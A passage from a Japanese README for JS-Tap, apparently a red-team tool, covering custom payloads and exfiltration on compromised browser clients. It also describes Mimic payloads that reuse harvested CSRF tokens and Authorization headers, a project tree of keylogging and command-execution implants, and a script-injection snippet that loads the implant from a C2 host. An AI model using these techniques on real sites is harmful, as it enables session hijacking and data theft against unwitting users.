[{"code":"YWxlcnQoJ1BheWxvYWQgMSBmaXJpbmcnKTs=","description":"VGhlIGZpcnN0IHBheWxvYWQ=","name":"Payload 1"},{"code":"YWxlcnQoJ1BheWxvYWQgMiBmaXJpbmcnKTs=","description":"VGhlIHNlY29uZCBwYXlsb2Fk","name":"Payload 2"}]

カスタムペイロードがデータを外部に送信する必要がある場合、customExfil(note, data) メソッドを使用できます。カスタムペイロード内でこのメソッドを呼び出すと、そのテキストデータが JS-Tap に送り返され、戦利品データ内のイベントとして表示されます。

カスタムペイロードのメインユーザーインターフェースは、上部メニューバーからアクセスします。Custom Payloads を選択してインターフェースを開きます。既存のペイロードは左側のリストに表示されます。ボタンバーでは、リストのインポートとエクスポートが可能です。ペイロードは右側で編集できますが、Expand Code ボタンを押すとより大きなコード編集ペインが表示されます。既存のペイロードを編集するには、Saved Payloads リストでペイロードをクリックして選択します。ペイロードを定義して保存すると、クライアント上で実行できます。

メインの Custom Payloads ビューでは、すべての現在のクライアントに対してペイロードを起動できます（Run ボタン）。また、ペイロードの Autorun 属性をオンに切り替えることもできます。これにより、新しいクライアントはすべてペイロードを実行します。既存のクライアントは、Autorun 設定に基づいてペイロードを実行しないことに注意してください。

Repeat をオンに切り替えると、各クライアントがタスクをチェックする際にペイロードがタスクとして割り当てられます。クライアントがカスタムペイロードタスクをチェックする頻度は可変であり、その頻度はメインの JS-Tap ペイロード設定で変更できることに注意してください。その頻度は、カスタムペイロードで（updateTaskCheckInterval(newDelay) 関数を呼び出すことにより）変更できます。タスクチェック遅延のジッターは、updateTaskCheckJitter(newTop, newBottom) 関数で設定できます。

カスタムペイロード UI の Clear All Jobs ボタンは、すべてのクライアントのキューからすべてのカスタムペイロードジョブを削除し、自動/繰り返し実行のトグルをリセットします。

単一のクライアントでペイロードを実行するには、実行したい特定のクライアントの Run Payload ボタンを使用し、次に使用したい特定のペイロードの Run ボタンを押します。個々のクライアントに Repeat を設定することもできます。

ターゲティングルール

ターゲティングルールを使用すると、特定の条件に一致するクライアントに対して自動的にペイロードを実行できます。手動で個々のクライアントを選択したり、すべてのクライアントに無差別に実行したりする必要はありません。

ペイロードの Add Rule ボタンをクリックして、ターゲティングルールを作成します。ルールはクライアント検索バーと同じフィルター構文を使用します。

• 検索可能フィールド: tag、nickname、platform、browser、type、domain、ip、uuid
• AND 論理: 用語を組み合わせるには && を使用します (例: linux && chrome)
• NOT 論理: 用語の前に ! を付けて否定します (例: !bex-beacon)

例: linux && chrome && !bex は、BEX ビーコンではないすべての Linux Chrome クライアントに一致します。

ルールを保存する前に、Preview をクリックすると、現在接続されているクライアントのうちどのクライアントが一致するかを確認できます。プレビューには、メインのクライアントリストと同じ情報 (タグ/ニックネーム、タイムスタンプ、IP、プラットフォーム、ブラウザ、ドメイン) を含むミニクライアントカードが表示されます。

各ターゲティングルールには、ペイロードレベルのボタンと同じように機能する独自の Autorun、Repeat、Run コントロールがありますが、ルールのフィルタークエリに一致するクライアントにのみ影響します。個々のルールを Edit または Delete することもできます。ペイロードには複数のターゲティングルールを設定できます。

自動生成カスタムペイロード (Mimic)

JS-Tap には、カスタムペイロードを自動生成する機能が含まれています。この機能は、フォーム送信や XHR/Fetch API 呼び出しを傍受する機能を活用します。JS-Tap は、傍受したこれらの通信をプロトタイプとして使用し、ペイロードを構築できます。

リクエスト内のパラメータは、自動生成されたペイロードの先頭にある変数によって設定されるため、実行されるアクションを簡単に変更できます。CSRF トークンが必要なフォーム送信、および Authorization ヘッダーが必要な XHR/Fetch API 呼び出しは、ミミックウィザードによって処理されます。これらの値は、傍受したフォーム送信/API 呼び出しで選択でき、JS-Tap はデータベースを検索してこれらの値の出所を特定します。

ペイロードは、まずユーザーのブラウザでこれらのアイテムの現在の値を取得するように生成されます。これらの値は時間やユーザーによって異なる可能性が高いためです。取得された値は、後続のリクエストで使用され、変更されたパラメーターをサーバーに渡して、「模倣」されるアクションを実行します。

これらの値の検索をスキップした場合、リクエストにそれらが存在しない場合、または JS-Tap がソースを見つけられない場合は、元の傍受リクエストの CSRF トークンと Authorization ヘッダー値を使用するペイロードが生成されます。

自動生成ペイロードを作成するためのミミック機能を使用するには、傍受したフォーム送信または API 呼び出しを見つけ、戦利品列のイベントカードにある Create Mimic Payload ボタンを押します。これによりウィザードが開き、フォーム送信の場合は CSRF トークン、API 呼び出しの場合は Authorization ヘッダーを選択します。パラメータ/ヘッダー名を名前フィールドにコピーし、トークン値を値フィールドにコピーする必要があります。それが完了したら、Search ボタンを押して JS-Tap にこれらの値が保存または取得される場所を特定させます。

JS-Tap がこれらの値のソースを見つけた場合、次へ進むとペイロードが生成され、C2 システムに新しいペイロードとして入力されます。生成されたコードの先頭にあるペイロード名、説明、およびパラメーター値を希望の設定に変更して保存します。その後、JS-Tap クライアントでそのペイロードを実行できます。

プロジェクト構造```

JS-Tap/ ├── buildAll.py # Unified build script (extensions + sidecar + deploy bundles) ├── jsTapServer.py # Flask C2 server (all routes, models, logic) ├── jstapRun.sh # Gunicorn production launcher ├── requirements.txt # Python dependencies ├── index.html # Dashboard HTML ├── login.html # Login page ├── payloads/ │ └── telemlib.js # DOM Beacon payload ├── protectedStatic/ │ └── main.js # All dashboard UI logic ├── proxy/ # Browser Proxy (MITM proxy server) │ ├── server.py # Threaded proxy server, WebSocket relay, MITM TLS │ └── certs.py # Dynamic per-domain certificate generation ├── jstap-conductor/ # Session replay Firefox extension (standalone MV2) │ ├── manifest.json # Firefox MV2 manifest │ ├── icon.svg # Extension icon (JS-Tap logo) │ ├── background/ # Cookie setting, header injection, UA spoofing │ ├── content/ # Storage injection, navigator property spoofing │ └── popup/ # Ticket import UI ├── bex-beacon/ # Browser extension (WXT + legacy) │ ├── config.json # Central configuration (extensions, IDs, sidecar) │ ├── wxt.config.ts # WXT build config │ ├── package.json # Node dependencies │ ├── buildBexBeacon.py # Legacy extension builder │ ├── entrypoints/ │ │ ├── background/ # Service worker (heartbeat, tasks, encryption) │ │ └── content/ # Content script (DOM instrumentation) │ ├── utils/ │ │ ├── config.ts # Config translation + whitelist helpers │ │ ├── crypto.ts # AES-GCM encryption/decryption helpers │ │ ├── proxy.ts # Browser Proxy WebSocket client + fetch relay │ │ └── sidecar.ts # Native messaging module │ ├── src-chrome-extension/ # Legacy Chrome MV3 template │ └── src-firefox-extension/ # Legacy Firefox MV2 template ├── atom-beacon/ # Electron app implant patcher │ ├── atomize.py # Patcher CLI (analyze + patch Electron apps) │ ├── atomize.spec # PyInstaller spec for building atomize.exe (Windows) │ ├── asar.py # Pure-Python ASAR archive handling (extract/pack/patch) │ └── payload/ │ ├── atom-agent.js # Main process agent (C2, encryption, OS access, screenshots) │ └── atom-telemlib.js # Renderer payload (keylogging, DOM capture, network interception) ├── v8-beacon/ # Node.js / Bun CLI implant │ ├── v8ize.py # Build script (template variable replacement) │ └── payload/ │ └── v8-agent.js # V8 Beacon agent (network hooks, stdin capture, C2) ├── plugins/ # Beacon plugins (loaded at runtime via C2) │ ├── example/ # Example plugin template │ │ ├── manifest.json # Plugin metadata (id, name, targetApps, capabilities) │ │ ├── main.js # Plugin entry point (documents full plugin API) │ │ └── ui.html # Optional operator-facing UI panel │ └── mattermost/ # Mattermost-specific plugin ├── sidecar/ # Native messaging Go binary │ ├── main.go # Message loop (native messaging protocol) │ ├── commands.go # Command handlers (list_dir, read_file, exec_cmd) │ ├── go.mod # Go module │ ├── config.json # Auto-synced from central config by buildAll.py │ ├── buildSidecar.py # Cross-compile + generate install scripts │ └── uninstall.sh # Remove sidecar binary + manifests for testing ├── build/ # Build output (gitignored) │ ├── chrome-mv3/ # Unpacked Chrome extension │ ├── firefox-mv2/ # Unpacked Firefox extension │ ├── extension.crx # Packed Chrome extension │ ├── extension.xpi # Packed Firefox extension │ ├── sidecar/ # Sidecar binaries + manifests │ └── deploy/ # Self-contained deploy bundles (.tar.gz/.zip) └── tools/ # Testing utilities ├── clientSimulator.py # Async client simulator (argparse-based) ├── monkeyPatchApp/ # XHR/Fetch monkeypatch test app │ └── monkeyPatchLab.py ├── defconApp/ # XHR test app (defcon level changer) │ └── defconServer.py ├── spaTestApp/ # SPA test app for Fetch API testing │ └── spaServer.py ├── formParser.py # (Legacy) HTML form parser └── generateIntelReport.py # (Legacy) PDF report generator

## ツール
tools サブディレクトリにはいくつかのツールが含まれています。

### clientSimulator.py
12の多様な偽クライアント（さまざまなOS/ブラウザの組み合わせ）を作成し、サーバーに登録して、現実的な戦利品データを送信し、カスタムペイロードタスクをポーリングする非同期クライアントシミュレーターです。ターゲティングルール、マッチフィルタリング、自動実行/繰り返し動作、カスタムペイロード配信のテストに便利です。```bash
python3 tools/clientSimulator.py

オプション：``` --server URL JS-Tap server URL (default: https://127.0.0.1:8444) --loot-rounds N Rounds of fake loot per client (default: 2, 0 = continuous) --poll-interval N Seconds between payload polls (default: 3) --no-loot Register and poll only, skip sending fake loot

JS-Tap を gunicorn で実行すると、かなりスケーラブルになります。

### MonkeyPatchApp
XHR/Fetch monkeypatching のテストに使用されるシンプルなアプリですが、一般的にペイロードをテストするための簡単なアプリとしても利用できます。

実行方法:```bash
python3 tools/monkeyPatchApp/monkeyPatchLab.py

デフォルトでは、アプリケーションは以下で起動します：``` https://127.0.0.1:8443

「"Inject JS-Tap payload"」ボタンを押すと、DOM Beacon ペイロードが実行されます。これは、implant モードと trap モードの両方で動作します。ペイロードファイルを読み込むために、monkeyPatchLab アプリケーションを新しい JS-Tap サーバーの場所に指定する必要があるかもしれません。これは **main.js** の **injectPayload()** 関数で設定されています。```
function injectPayload()
{
	document.head.appendChild(Object.assign(document.createElement('script'),
		{src:'https://127.0.0.1:8444/lib/telemlib.js',type:'text/javascript'}));
}

DefconApp

MonkeyPatchAppと同様のシンプルなアプリですが、このアプリケーションのXHR API呼び出しはアプリケーション内で目に見える変更（"defcon"レベルの変更）を行います。

また、XSSエクスプロイトをシミュレートするInject JS-Tap payloadボタンもあります。すべてのコードはdefconServer.pyファイルに含まれており、JavaScriptとHTMLも含まれています。

このアプリケーションは、傍受したXHRネットワークコールからペイロードを自動生成するための良いテストとなります。```bash python3 tools/defconApp/defconServer.py

### SpaTestApp
単一ページアプリケーション (SPA) のテストアプリで、Fetch API 呼び出しを使用して CRUD 操作を行います。Fetch ベースの SPA のモンキーパッチテストや、インターセプトされた API 呼び出しから模倣ペイロードを自動生成するのに役立ちます。```bash
python3 tools/spaTestApp/spaServer.py

formParser.py

HTMLフォームを解析し、そのパラメータを抽出するためのレガシーツール。カスタムペイロードを自動生成するミミック機能に取って代わられました。

generateIntelReport.py

レガシーツール。JS-TapのWeb UI以前に使用されていました。generateIntelReportスクリプトは収集した戦利品を精査し、PDFレポートを生成していました。現在は機能しません。ほとんどの戦利品はデータベースに保存されています（流出したHTMLコードとスクリーンショットを除く）。

Contact

@hoodoer
[email protected]